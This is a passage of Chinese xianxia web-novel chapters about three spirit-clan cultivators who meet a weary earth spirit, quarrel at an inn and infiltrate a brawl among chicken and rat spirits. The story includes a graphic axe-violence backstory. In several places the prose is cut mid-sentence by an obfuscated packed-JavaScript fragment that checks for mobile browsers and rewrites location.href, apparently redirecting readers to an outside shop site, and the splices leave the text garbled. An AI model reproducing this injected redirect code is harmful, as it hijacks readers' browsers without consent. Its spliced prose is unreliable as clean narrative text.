柳清圆:“……”母鸡啊,书上是这么写的啊。 沈流商淡淡接道:“就是高兴、悲伤、疼痛、释怀,挤到一起过完,再回寻常日子。 他投其所好地再次补充:“会有很多好吃的,会有很多好玩的,小孩子也不用做功课。” 柳清圆:“!”学到了!拿出小本本开始记! 洛闻瑛恍然大悟,笑吟吟道:“那我喜欢节日,喜欢元夕,也喜欢人间。” 沈流商好整以暇地看她:“为什么?”依他对小师妹的深度了解,料想的答案无非就是“吃喝玩乐、漂亮好看”八个大字。 “因为没人吵架呀。” 沈流商和柳清圆同时侧头看她,这两人一惯不对付,忽的明白过来,皆是脸色一僵,各自转向两旁。 洛闻瑛浑然不觉自己说错了什么,左右张望一圈,一会儿扯扯左边这个人的衣袖,一会儿又往右边那个人身上靠,咯咯地笑出声来:“这就是''团圆之欢''呐!” 她没注意到,怀里的娃娃扁着嘴,一脸不高兴,臭着张小脸,像被人抢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576336|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老婆似的。 暗处的谢济泫感应到,脸色更臭了。 这个负心汉!可从来没这么哄过他! 远处锣鼓喧天,舞龙队转入另一条街,欢呼声渐渐远了。 柳清圆伸个懒腰:“什么时候醒?” 沈流商:“这就得看你了。那地仙一直跟着。” 柳清圆皮笑肉不笑,蹲下来,指节轻扣地面。面前的街市便轻轻晃了晃,这幻境太过真实,连洛闻瑛也被晃得东倒西歪。 檐角铃铎轻响,风里裹着糖炒栗子的甜香。 洛闻瑛不舍:“那能再待一会儿吗?” 柳清圆眼巴巴地看着她,像是好心提醒似的:“要是等离山的大妖怪来吃了你,想出去也没法啦。” 洛闻瑛吓得汗毛倒竖,眼眶瞬间泛红,像只受惊的小兽般扑到柳清圆身边,死死抱住她的胳膊不放,声音带着哭腔:“呜呜,师姐救我!瑛瑛不要死!” 柳清圆笑了笑,指节又扣了扣,没再说话。沈流商忽然拦住她,礼貌忽略柳清圆的白眼,径直走向街边一个小茶摊。 摊后坐着个老妇人,客人不多,她正闲闲地歇着,手里一把蒲扇轻轻摇着,照看灶上咕嘟咕嘟煮着的茶。 沈流商递过铜钱,状似随意地开口:“婆婆高寿?可方便借一步说话?这景致若是就这么散了,怕您也舍不得吧。” 老妇人抬起头,脸上慢慢浮起一个苍老的笑容。 那笑容明明在眼前,却恍惚觉得远。她的眼窝深陷,瞳仁里映着街市的灯火,却照不进底里去。 “这位好眼力。”她搁下蒲扇,动作有些迟缓,“老婆子死的时候多大岁数,自己也记不大清了。只记得这些年啊,小鬼精怪们来过一茬又一茬,又走了,跑了,再也没回来过。今儿个倒让我撞见个人气儿,没承想还是个修士。” 洛闻瑛凑上来,好奇地打量茶摊。几张条凳歪歪斜斜,桌面被茶水浸出深褐色的纹路,却擦得干干净净。灶上的铜壶嘴冒着白气,飘出来的却不是茶香。 “地仙,”洛闻瑛蹲下来,与老妇人平视,“这街市是你变的吗?真有意思,我也想学学这幻术。” 柳清圆更是直接:“你有何目的?” 老妇人笑了,笑声干枯又沙哑:“姑娘倒是直爽。” 她顿了顿,浑浊的眼睛望向街口。 “我没有目的,我只是舍不得。”她说,“舍不得这热闹。” 柳清圆站在原地没动,却感觉到脚下的震动,不是方才她故意叩击的那种震动,是更深处的,像有什么东西在缓缓翻身。那东西没有恶意,只是太大,太老了,稍微一动,整个幻境就跟着颤。 她低头看了一眼,又抬起头,对上老妇人的目光。 要论岁数,他们三人中最小的洛闻瑛都要比这位“老婆婆”大上个几百岁。 “姑娘别恼。”那地仙还摆着那副长者架子,“老婆子没有恶意。只是每年这时候,都忍不住把这街市再摆出来,让走过的人再走一走,让笑过的人再笑一笑。你们撞进来了,我就当是多几个客人。” 沈流商在她对面坐下,接过她推过来的一碗茶。茶汤清亮,映着头顶的烟火,明明灭灭。 “你想要人回来,”他问,“想让此地再复生机?我们不过一介微不足道的小散修,如何能帮你?” 洛闻瑛和柳清圆这时候便不再展露杀意了。每当沈流商做出一副温润有礼的模样,她们就知道,这是要搞事情了。 48. 前世篇(八) 沈流商适时传音入密:[这是一条活地龙,由人气养成的地脉化身,与小师妹属性相似,清圆姐做好准备,咱抓了给瑛瑛炼糖丸吃。] 柳清圆:[可。] 洛闻瑛的眼里亮晶晶的。 老妇人没答话,只是慢慢摇着蒲扇,一下,一下。 柳清圆忽然开口:“镇子里的人走了,你该死了。” 沈流商:“……”他的八百个心眼子还没用! 老妇人终于转过头来,认真看了她一眼。她站起身,动作迟缓却稳当。走到灶边,把铜壶从火上拎起来,又往里添了一瓢凉水。水落进壶里,发出“嗞啦”一声响,热气腾起来,模糊了她的脸。 “你们几个娃娃,不是人间的吧?”她忽然说,语气平常得很,“没关系,老婆子见的多了。这地方风水好,来来往往的,什么都有。前些年还有个骑着驴的书生打这儿过,说是进京赶考,驴是纸扎的。” 老妇人脸上有了笑意:“那书生还跟我讨了碗茶喝,喝完说,婆婆,你这茶是真好,我往后年年都来。结果第二年没来,第三年也没来。大概是考上了,忘了。” “这儿一下子就荒了,老婆子一个太孤苦伶仃了。” 沈流商忽然说:“可我们要走了,想留也留不住。” “轰!——” 老妇人的身形没有动,但她身后的屋舍,她身旁的茶摊,她脚下踩着的青石板,都在顷刻之间开始疯狂生长,像一棵老树的根须扎进土里,慢慢地,慢慢地,长出了一整条街。 老妇人抬起头,脸上还挂着笑,但这回洛闻瑛看清了那笑容底下压着的东西。 是累。 特别特别深的累。像一个人撑了太久太久,骨头都酥了,魂魄都薄了,却还是不能倒下。因为一倒,身后那一整条街就没了。 街没了,那些逃难的人回来的时候,就没家乡了。 所以她得守着。可她累坏了,这四周死气沉沉的,堵得慌,得吃点东西填填肚子。 她说话的声音还是沙沙的,但洛闻瑛听见了别的声音。是风穿过屋檐的声音,是雨打在瓦片上的声音,是无数双脚踩过青石板的声音,是孩子哭、大人笑、老人咳嗽的声音。那些声音叠在一起,最后变成了她的声音。 这是什么? 洛闻瑛想起来,瑶姬大人说过,生灵彻底消散的时候,耳边会听见很多错杂的声音,眼前会闪过很多见过的画面,那是它们留下的最后一口气,灵族管这个叫“神识离体”。 姑媱山一脉走的是生机之道,能感知到生灵的呼吸,感知到那些放不下的念想。瑶姬大人说,那叫“遗言”。 自从洛闻瑛琢磨出灵力共享的法子,她们三个配合得越来越默契。刚才柳清圆动手的时候,她下意识把灵力散出去,裹住了那团活地龙。沈流商引着,她把灵力融进去,就在那一刻,她触到了那缕念想,看见了那东西的全貌。 太大了。真的太大了。不只是一座村庄,是村庄底下埋着的所有年月,是所有年月里攒下来的人间烟火。那些东西太重了,重得连地仙自己都撑不住,只能一年一年地,把最热闹的那天拎出来,让人走一走,让自己歇一歇。 洛闻瑛茫然地开口:“你撑了多久?” 那缕念想飘进她心里:记不清了。睁眼的时候,这儿刚建起来,瓦是青的,梁是直的。后来旧了,朽了,散了,我就换个身子,再没见着天日。 她低头看看自己的手,骨节粗大,皮肤干枯,满是裂纹。 这双手,最早是年轻媳妇的手,会绣花,会做鞋。后来变成中年妇人的手,会洗衣,会做饭。再后来变成老人的手,什么都做不动了,就只会摇蒲扇。 这颗头,是一个卖茶老婆婆的,辛辛苦苦养大儿女,等儿女大了,她瘫在床上,儿女一个去外地做官,一个远嫁他乡。那天她卖着卖着茶,晒着太阳,就闭上眼,再没醒。 这副身子,是一个没长大的姑娘的。她爹在城里做事,回来就耍威风,窝里横。她娘疼她,护着她长大。可爹的脾气越来越大,娘快被打死了,有天来个货郎,撺掇娘走了,把她扔下了。一个普通的晚上,她一个人躺在四处漏风的茅屋里,被村里的老酒鬼欺负了,没见着第二天的太阳。 还有这双腿,还有这双腿…… 洛闻瑛忽然喊停,让柳清圆和沈流商别动了。她倾尽所有灵力,一下子包裹住整条地脉,然后慢慢往里渗。 她眼底浮起一点粉红色的光,轻轻地问:“你想歇一会儿吗?” 那团光包裹过来的时候,它点了点头。 洛闻瑛眼底的光散了。她抬起头,看看师姐,又看看沈流商。 柳清圆皱眉:“它怎么自己散了?” 沈流商没吭声,眼神却暗了暗。末了,他笑了笑:“小师妹这灵力真行,跟地仙源头融一块儿了,它招架不住。” 洛闻瑛咧嘴笑:“师哥说得对,我运气好,这地仙跟我属性差不多,直接就被吸收了哈哈——” 柳清圆还是冷着脸:“刚才为什么忽然停下?到底——” “哎呀师姐你怎么这么冷啊。” 沈流商没说话,走到柳清圆身边,背对着她站着,挡住街口吹来的风。 “这样就不冷了。” 洛闻瑛愣了愣,明白了什么,跑过去蹲在柳清圆旁边,把手覆在师姐手背上。 “我也帮。” 柳清圆睁开眼瞪她:“你帮什么?有力气吗?” 洛闻瑛理直气壮:“没力气,但我有真心呀。” 柳清圆:“……” 沈流商嘴角动了动,没笑出声。 “今天过节呀师姐,别老不高兴嘛——” “节?” “嗯。”洛闻瑛笑起来,眼睛弯成月牙,“师哥说了嘛,节就是高兴、悲伤、疼痛、释怀,挤到一起过完。那个地仙一个人撑了那么久,肯定攒了好多好多的这些东西。今天咱们三个帮它一起过节,它一高兴就散了呗。” 柳清圆其实早就不气了。但她还是按着《风华录》里写的,那副冷冷淡淡的样子,闭着眼,一动不动。这样呢,就能让喜欢你的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576337|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使劲儿哄。 洛闻瑛连喊了两声“师哥”,偷偷感激沈流商帮忙。 沈流商低头看她,忽然开口:“你那本《风华录》,回头借我看看。” 柳清圆眼皮都没抬:“?” “我改主意了。” “为什么?” 沈流商顿了一下,说:“因为我有心上人了。看看那本《风华录》里有没有写,让喜欢的人哄着的人是小没良心。” 洛闻瑛噗嗤一声笑出来。 柳清圆脸上一僵,耳朵尖悄悄红了,唤出剑就要和沈流商再打三百回合。 那个趁乱钻进沈流商乾坤袋里的人儿娃娃,神不知鬼不觉地开始往外传消息。 谢济泫坐在树上,默默接收着。他翻开手里那个小本本,封面上写着《小乖媳妇二三事:如何讨得夫君欢喜》,提笔添了一行字。 “第一千一百零一条:认真学习《风华录》。” 洛闻瑛刚到离山脚下,就被扑面而来的灰土呛了个结实,弯着腰咳得天昏地暗。 这几天她整个人都不太对劲。自打吞了那枚地仙,往日活蹦乱跳的她就跟霜打的茄子似的,天天捂着肚子哼哼。柳清圆问她怎么了,她有气无力地摆摆手:“消化不良,正常反应。人间的玩意儿,头回吃都是这样。” 话是这么说,可她心里清楚,身体里有什么东西正在悄悄变化。 她撩起袖子,手腕内侧那朵蓝花楹印记还在。指尖轻轻一抹,印记便隐了下去。这玩意儿她熟,是姑媱山灵族的身份标识。就像之前逃走的那个阿牛他娘,手上也有这么一朵。按理说灵族一旦化妖,这印记就该消了,毕竟那是天意的指引,妖可不配。 洛闻瑛琢磨着这事,越想越觉得古怪,越想却越觉得脑袋昏昏沉沉,马上就要睡过去了。 不像别的山头,灵族都是天生地养,根正苗红。她们这一脉嘛……洛闻瑛有时候自己都觉得,像是临时被抓来凑数的。 这或许要从那位与众不同的花神说起。听说那位陨落得蹊跷,跟寻常神灵不一样,不是为三界万物凋零而落,偏偏掉在了之前遍地死气的人间。人间的荒山野岭,三界之外的野鬼精怪一窝蜂涌上去,把神躯分食了个干净,神格崩得稀碎,连渣都不剩。 因此,为续万物生机之责,瑶姬大人当年从凌霄殿下来,一手缔造了姑媱山,可这守护灵的传承总不够全,缺的就是天地生养的那股子“神性”。 所以每个继任者都得先当千百年圣女,等通过了考验,手腕上的蓝花楹才会变成七色花。到那时候,她要亲自吟唱挽歌,跳起祭舞,在姑媱山上受天地祝福,才算真正成了守护灵。 七色花代表七苦。瑶姬大人说,那是获得神性最重要的一步。 洛闻瑛捂着又开始隐隐作痛的肚子,心里又苦又甜。苦的是这考验是真难受,甜的是等成了神,那可就逍遥自在了! 想吃啥吃啥,想睡多久睡多久,到时候连师父都不是她对手,她一张嘴啊—— “啊呜!”她对着空气做了个咬的动作,把自己逗乐了。 50. 前世篇(十) 三人暗中布置好计划——实际上全是沈流商的主意,然后照做便是。 柳清圆酒足饭饱,洛闻瑛睡醒后又迷迷糊糊地要睡过去,连连打着哈欠。 他们打算循着那几个小门派而去,混入其中,套取些信息,不打草惊蛇,等他们黑吃黑、两败俱伤后,再坐收渔翁之利。 然而不出意外的话,就要出意外了。 他们只想着要模仿那些普通的人族修士,却忘了带钱。钱快没了。 沈流商看了看自己的钱袋……兜比脸干净。他又看向吃了整整十份大碗蹄花汤的柳清圆,陷入了沉默。 他心虚地瞥了老板娘一眼。那窈窕的小寡妇正朝他抛来一个真心实意的媚眼。 沈流商:“……” 出卖色相好像也不是不可以? 虽说沈流商一向心思都在修炼上,不大懂人间的审美——好像讲究的是“城北徐公”“美髯公”那类,得留着长胡须才行。 洛闻瑛还趴在柳清圆身上,整个人迷迷糊糊,柳清圆则朝沈流商使眼色:能不能再要一份打包带走? 沈流商:“……” 把这俩典当在这儿行不行? 老板娘笑盈盈地过来了,对着沈流商又是月牙似的笑脸,像是看出了他们的窘迫,立刻递来台阶。 “这位小相公,天色不早了,俺们家里也有住有喝,不如留下来歇几天,这顿饭记在账上,到时再结也不迟。” 她又亲昵地摸了摸昏睡的洛闻瑛的额头,仍笑着关切道:“这位小妹妹怕是着了风寒,夜里不便再赶路了。小相公,带着两位妹妹出远门可不妥当,歇在这儿吧,我给这位妹妹煮碗姜汤驱驱寒。” “只要小相公多留几日的好。”她的手指婉转一点,落在沈流商肩头。 沈流商:“!” 不待沈流商回答,老板娘便娉娉婷婷地转身,吩咐伙计收拾了桌上的狼藉。一个伶俐的小子上前来,直接将沈流商他们请上了楼。 还是贴心的两间房。 沈流商谢过引路的伙计,阖上门,收了笑脸,全程黑脸。 转头一看,柳清圆已经穿墙过来了。 她坐在椅子上,把那碗姜汤也喝了下去。很香很甜,老板娘的手艺真不赖。 可惜灵族不讲究五谷杂粮,只喜欢灵草和天材地宝。这么看来,她若是在灵族混不下去了,去长生天开个饭馆也行。 毕竟她当初进入长生天,或许也是阴差阳错。 她自小长在人间,听说是神人混血,东西不是个东西,灵族也不是个灵族,活着不算活着,死了不算死了。她就这么懵懵懂懂地在人间走着,和先前遇见的那些人没有区别。 要论先后,是她先认识的人间。 后来她也学着那些人去相争相食,尽管她并不知道饿是什么感觉。某天她反杀了一个想攻击她的人。她身躯虽小,脖子却很硬。那男人的眼光她永远不会忘记,那是她第一次读懂除了浑浑噩噩之外的情绪。 悲哀,可怜,却没有恶意。 这时她也明白了什么是理所应当,什么是顺理成章。人饿了就要吃,这就是“理”。 吃草,吃树皮,吃观音土,土也是抢手的货,然后就开始同类相残。 这么一想,就想通了。虽然她还是浑浑噩噩的,好歹想通了一件事。想通了,那就一切都不要紧了。 男人吃力地抡起斧子,一下,两下,三下。 是太饿了没力气吗?为什么一个小女娃的脖子还砍不断? 她沉浸在想通一件事的喜悦中,感受着鲜血汩汩流动的鲜活,品味着那个男人眼神里传递给她的东西。 可是她还是分不清浑浑噩噩和想通了这两件事里,哪一件比较好。就像她分不清天上地下和天下地上的不同。 斧子一下一下砸,一下一下砍。男人的眼神变了,不再是害怕、惊慌、歉意,而是执着地想要完成一件事。 她瞬间恍然大悟,原来他需要她的帮忙。 不知道为什么要帮忙,但她倒是很乐意。 于是她抢过那把斧子,扶着被砍了一半的脖子站起来,说斧子砍不断,就该换个斧子。 男人骂她怪物,哭喊着逃向远处。 她想,她果然还不算聪明,没法做到让别人满意。 那就换个方法。 换个人砍就好了。她笑了笑,却模仿不出那男人的眼神,只是笑着,学着他的模样抡起斧子,对着他的脖子砍。 怎么一下就砍断了? 她拽起那颗沾了尘土的脑袋的头发,认真地看了看。瞳孔开始涣散了。 她说:“喂,你眨了十一次眼睛诶。” 是因为眼里进沙子了吗? 涣散的瞳孔失去对焦,无神的眼睛,跟少女的眼神一模一样。她恍然大悟,原来浑浑噩噩是这样的。 她的脖子和身子连在一起的时候,就是浑浑噩噩;现在脖子和身子分开一半了,却想通了,不再浑浑噩噩。而这个男人的脖子和身子完全分开后,眼神又变得浑浑噩噩了。 少女想通了。她保持着脖子断了一半的样子,抡着斧子往前走,滴答滴答,鲜血流下,引来了一群癞皮狗似的小鬼精怪。 那群煞气跟在她身后亦步亦趋。她紧紧护着自己的脖子。忽然她转过身去,因为她想有人能跟她说说话,不是人也成。 就她一个人想通了不成。 不成的。 于是她跟那群煞气说,谁想脖子砍断一半,陪陪她。 那群小鬼嬉笑着聚在一起,说今天倒霉遇到个傻子,直接就包裹了她,最后吃得只剩下一副破破烂烂的身躯。 然而那群小鬼得意没多久,开始呸呸呸,全将撕咬下来的血肉又吐了出来。小鬼也骂她怪物,肉难吃得很,一口牙都碎了还嚼不烂。 她还是护着自己断了一半的脖子。这脖子不能全断,也不能完完整整地接着身子,得有个尺度。 她在那里躺了很久,等到那群小鬼骂完了,散了,她才又爬起来,继续往前走。 那群小鬼说灵族很好吃,生不逢时没有吃到那个花神,真是遗憾。它们又说有个地方叫长生天,那里的灵族最多,要是那里塌了,就能饱餐一顿了。 她拽住一只小鬼问路。 “长生天在哪儿?” 她拽着小鬼给她引路。小鬼哆哆嗦嗦地说却之不恭,乐意效劳。 往前,继续往前。 长生天,到了。 凌霄殿降世那一年,她得到的指引是什么呢? 【东西不是东西,南北不是南北。天上不入,地下无路。】 在她收到这道指引后,师父留着长长的胡子,面带忧虑地一指小师妹的方向。 “往那处去,此为生门。” 灵泽大比百年试炼,通过了。 小师妹,亲了。 进生门……怎么进? 师父扶额无奈叹气,掐指一算说:“修得大道。”然后拿给她一本秘籍,说书中自有颜如玉,书中自有黄金屋。 往后柳清圆一心扑在修炼上。某一日小师妹过来找她玩,把那本秘籍一下烧掉了。柳清圆倒是好办,直接去怀崖藏书阁里自己拿了一本封面差不多的,便是那本《风华录》,她顿觉茅塞顿开。 打开《风华录》第一页,几个大字忽的出现。 “装逼启示录之全修真界都为我沦为败类。” 此刻她翻着自己的那本《风华录》,坐在椅子上喝着姜汤,连翻好多页,终于找到一个能呛到沈流商的指示。 “抓住男人的心,就得先抓住男人的胃。” 沈流商=男的,蹄花汤=好“味”道=胃。 柳清圆恍然大悟,立刻向沈流商传音入密。 [这老板娘好像看上你了。你小子艳福不浅,能喝一辈子蹄花汤了。] 沈流商:“……” [还不是你那十碗蹄花汤惹的祸!]谁要招惹情债了! 他在两间房外都布下了隐蔽的结界,脸色黑得像锅底。 紧接着,一场骂战就爆发了。 沈流商和柳清圆你一嘴我一嘴,谁也不让谁,摆明了要拼个两败俱伤,把周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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还好,还好鲛纱已经卖了。只要卖掉了就好办,借口随便编一个就是。 洛闻瑛双手捧起洛洛,拿脸颊使劲蹭了蹭。洛洛乖顺地回应着,尾巴一甩—— 噼里啪啦。 啾啾身上开始往下掉灵石,稀碎的金银也跟着落了一地。 “洛洛说,”洛闻瑛瞪大眼睛,“啾啾已经进化成摇钱鸟了!甩一甩就能掉钱!” 柳清圆瞥了沈流商一眼,语气意味深长:“是吗?” “咳咳。”沈流商一把夺过啾啾,硬撑着笑脸,“怎么、怎么可能呢……” “是啊,怎么可能呢。” 啾啾迷迷糊糊醒过来,唧唧叫了几声。 [告诉他们吧,啾~,鸟要被晃死了啾……] 沈流商咬了咬牙,脸上的表情几经变换,最后定格在如释重负上。他也唧唧叫了几声作为回应。 [好……] 然后他转向柳清圆和洛闻瑛,面色沉痛。 “好吧,事到如今我也不瞒你们了。其实这些钱都是啾啾它……它!……” 柳清圆面无表情:“?有屁快放。” 洛闻瑛已经紧张得眼眶泛红,眼泪随时要掉下来。 “是它配了十八次得来的!” 柳清圆:“!” 洛闻瑛:“!” 震撼首发。 啾啾:“?” 它挣扎了两下,然后干脆利落地晕了过去——是被沈流商掐晕的。 洛洛赶紧舔了舔自己刚才绑过啾啾的尾巴。 与此同时,在地上躺尸的小人还在坚持不懈地输出。后头狼群穷追不舍,头上插着几捆草的谢济泫一边跑一边刷刷记笔记,堪称孜孜不倦。 “夫君喜欢之物,第两千两百五十一条……” “十八次。” 笔尖顿住。 几只狼已经咬在身上,却仍然保持着好学姿态的谢济泫缓缓打出一个问号。 “?” 吃不消吧。 51. 前世篇(十一) 在啾啾一番大义凛然、堪称英勇就义般的意外收获之下,鸡飞狗跳的一晚终于更加鸡飞狗跳。然而出于对啾啾的尊重,三人都不再争执,不约而同地选择了忘记。 第二天早,三个人手忙脚乱地凑齐了饭钱、房钱,还有墙上那个窟窿的赔偿。末了,各自却揣着沉沉的心事,离开了这家店。 钱袋瘪下去了,事情却还没完。 “三位客官慢走——”老板娘的声音不舍地从身后追上来,可等回过头,却见老板娘的目光越过柳清圆她们两个,直直落在沈流商身上。 “不知这位公子,家中可有妻室?可曾婚配?” 柳清圆和洛闻瑛对视一眼,都从对方眼里看到了同样的东西:果然啊! 沈流商:“……”然后诚实地摇头。 老板娘的眼睛却骤然亮了,脸上迅速飞起一团红云,然后将手里攥着的一本厚厚的册子,硬塞进沈流商怀里。 是本菜谱。 “我见着这位小相公的妹妹很是喜欢我做的菜,若小相公想念了……就照着这菜谱做就行,我写的很详细,小相公一准儿学得会!这自家店里的,不是什么好东西,小相公可莫要嫌弃得好!” 沈流商笨嘴拙舌地推辞,说不能白拿了人家的东西。 柳清圆原本只是跟着往外走,可目光落在那菜谱上,便有些移不开了。菜谱的话……比那本翻了八百遍的风华录管饱。 她这样想着,手已经伸进袖子里,把那本风华录掏了出来。 “老板娘,这个留给你。”她把书递过去,“换你那本菜谱。” “我替他收下了。” 老板娘站在门口张望了一会儿,见那三道身影渐渐融进晨光里,才意兴阑珊地转身回了屋。她走到柴火堆边蹲下,准备把那本破书拿出来,好歹拿来引火做饭。 手伸出去,却捞了个空。 “咦?……” 她愣了愣,低头细看。柴火还是那堆柴火,一样不少。可那本书,的的确确不见了。 离山之上。 众人已集结完毕。高台正中立着一位墨袍白发的老者,双目紧闭,背脊挺得笔直,山风卷起他的衣袂,猎猎作响。 逼格很足。 沈流商三人披着幻影术,无声无息混在人群里。 “鸡老兄,可算来了。”台下近处,一个抱臂而立的人族修士阴阳怪气地开口,“受了伤也不说一声,我们好派人去接啊。非要拖到日落,误了大事,算谁的?” 话音落地,人群里响起一片附和与抱怨。 高台上,那老者岿然不动,只管闭目调息,稳如山石。 忽然—— 金光炸裂! 老者纵身跃下,落地时震得地面一颤。他睁眼,声如洪钟:“聒噪!” “离山一脉,我野鸡门势在必得!”他一指那找茬的人,胡须直颤,“老子知道你向来跟老子不对付,就想在这儿膈应人!挑拨离间的搅屎棍,到时候一队都乱成散沙了你就舒坦了?看不惯老子?来啊,单挑!” 满场鸦雀无声。 那人脸色一僵,却也没敢再吭声。只是洛闻瑛瞥见他乌云罩顶的脸色,心知肚明这人定是不服到了极点。 她悄悄传音入密。 [师姐师姐!大牛大牛!那老头子刚才那“chua”地一下,是不是贴了爆破符?] 柳清圆:[是。而且胡子比怀崖老头还长。] 沈流商:[胡子还是贴的,马上要掉下去了。] 柳清圆补充:[已经掉了。] 三人依旧是不动声色。 鸡老头微微眯眼,一边故弄玄虚地抚着垂到地上的白胡须,一边扫视众人。目光落在洛闻瑛他们三人身上时,陡然凌厉起来。 “鸡老三!鸡鸡啵!鸡气人!见了门主,为何不拜!想造反不成!” 洛闻瑛一个激灵,赶紧照着沈流商的传话躬身行礼:“弟子瞻仰门主神威,一时忘言忘俗,请门主恕罪!” 其余二人也恭敬回答。 “门主无上神通,小的岂敢!请门主恕罪!” “门主恕罪!” 鸡老头神色稍缓,慈祥地拍拍他们三个的肩膀:“好好好!” 他忽然转头,一指沈流商:“光说还不够,得向本尊效力以表忠心!鸡鸡啵!给他们点颜色瞧瞧!” 沈流商:“……” 还没等他们挑拨,这就先动手了? 但他不能露馅。 那就装傻吧。 沈流商下了此生最大的决心,硬着头皮,两眼一翻,一只朝上一只朝下,做出一副呆愣模样,冲着那群反对的人,凶狠地—— “咯咯”两声。 洛闻瑛和柳清圆憋笑憋得浑身发抖。 可诡异的是,周围那群人居然个个喜笑颜开,有几个甚至忍不住露出了两只鸡脚。 唯有老鸡门主,脸色铁青,胡须直抖。 他抬脚,狠狠踹了沈流商一下,鸡鸡啵被踹飞三米远。沈流商整个人都懵了。他演得不好? 放在以往,沈流商早把面前的这蹬鼻子上脸的神棍碎尸万段了,但是现在还不能暴露,他更想知道自己哪里演得不好。 那个尖嘴猴腮的副领队捂着肚子大笑:“老鸡啊老鸡……你带的什么好徒弟啊哈哈哈……” 旁边一只好心的小鸡凑过来,小声说:“鸡鸡啵叔叔,那是母鸡求偶的叫法!您咋回事儿?老鸡爷爷是想让您露尾巴,把他们一下子扫飞啊!” 沈流商:“……” 柳清圆“噗”地笑出鸡叫。 洛闻瑛“噗”地笑出鸡脚。 老鸡门主气得胡须乱颤,索性现了原形,它的嘴顿时成了尖喙,双臂化成了巨大的翅膀,一挥之间,疏散人群效果极好。 他仰天一声长鸣,震耳欲聋,随即口吐人言。 “鼠老爹!来战!今天不是你死就是我活!谁不敢谁孙子!鸡子鸡孙们,给我杀哇哇哇!——” 两方人马轰然撞在一起。 沈流商被掀到混战边缘,终于后知后觉地发现自己判断有误。 这哪是什么人族修士?只是离山女的妖术作祟,此地灵气过剩,连鸡犬老鼠都修成了人形。 沈流商:“……” 柳清圆悄咪咪地拉着他和洛闻瑛,往另一个方向挪去。 那边的灵气更浓,或许,能找对人。 战场越打越乱。 鸡毛满天飞,鼠叫遍地走。沈流商三人贴着幻影术,小心翼翼地绕开这片混乱,往灵气更浓的方向摸去。 “师姐,是那边吗?”洛闻瑛压低声音,指了指前方一片雾气缭绕的林子的方向。 柳清圆凝神感知片刻,笑着点头:“是呢,小师妹真聪明。” 沈流商警惕地环顾四周:“小心点,越是这样越可能有问题。” 三人屏息敛气,悄无声息地穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576340|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一片低矮灌木。林子深处,雾气渐浓,几乎伸手不见五指。 就在这时,前方突然传来一道慵懒的女声—— “哟,来了三个小东西。” 三人齐齐僵住。 雾气缓缓散开,现出一张石桌,石桌旁斜倚着一个红衣女子,手里捏着一枚棋子,正百无聊赖地往棋盘上摆。 她抬眼,懒洋洋地扫了三人一眼。 “野鸡门的人?不对——”她鼻翼微动,“是灵族。” 沈流商下意识挡在柳清圆和洛闻瑛身前。 红衣女子却笑了,笑得花枝乱颤:“别紧张,我要动手,你们早躺下了。” 她放下棋子,站起身,绕着三人转了一圈,最后停在沈流商面前,歪着头打量他。 “刚才那声‘咯咯’,是你叫的?” 沈流商脸黑了。 洛闻瑛忍不住“噗”地笑出声,又赶紧捂住嘴。柳清圆却有意无意地勾起唇角。 红衣女子笑意更深:“有意思。老鸡那个暴脾气,竟然没有当场把你炖了?” 沈流商面无表情:“他踹了我一脚。” “就一脚?”女子挑眉,眼里竟掠过一丝失望。她退后两步,重新坐回石凳上,翘起二郎腿,指尖把玩着一缕发丝。 洛闻瑛和柳清圆暗地交换了一个眼神。 柳清圆上前半步,拱手行礼:“不知前辈拦我等去路,意欲何为?”而她旁边的洛闻瑛更是一反常态地做出一副畏畏缩缩的怂包样儿,抓着柳清圆的胳膊不放。 沈流商一惊。这俩煞星,居然对着这个眼前这个女子……害怕了?他此刻灵力只剩一成,又披了一层幻影术压制修为,连之前那只鸡精的真身都看不出来,更遑论猜测眼前对手的分量。 想必是极为恐怖。 “敢问阁下是否即为离山女?我等为人族修士,前来为神女护卫,若有惊扰,万望神女海涵,我等倾慕神女之心真真可鉴。” 红衣女子动作一顿。 “神女?真真可鉴?” 随即,她笑出了声,笑得眼泪都快出来了,等到笑够了,擦了擦眼角,语气忽然淡了下来。 “那女人早不在这儿了。这满山的鸡啊鼠啊,不过是她走之前留下的‘小玩意儿’。” 三人面面相觑。 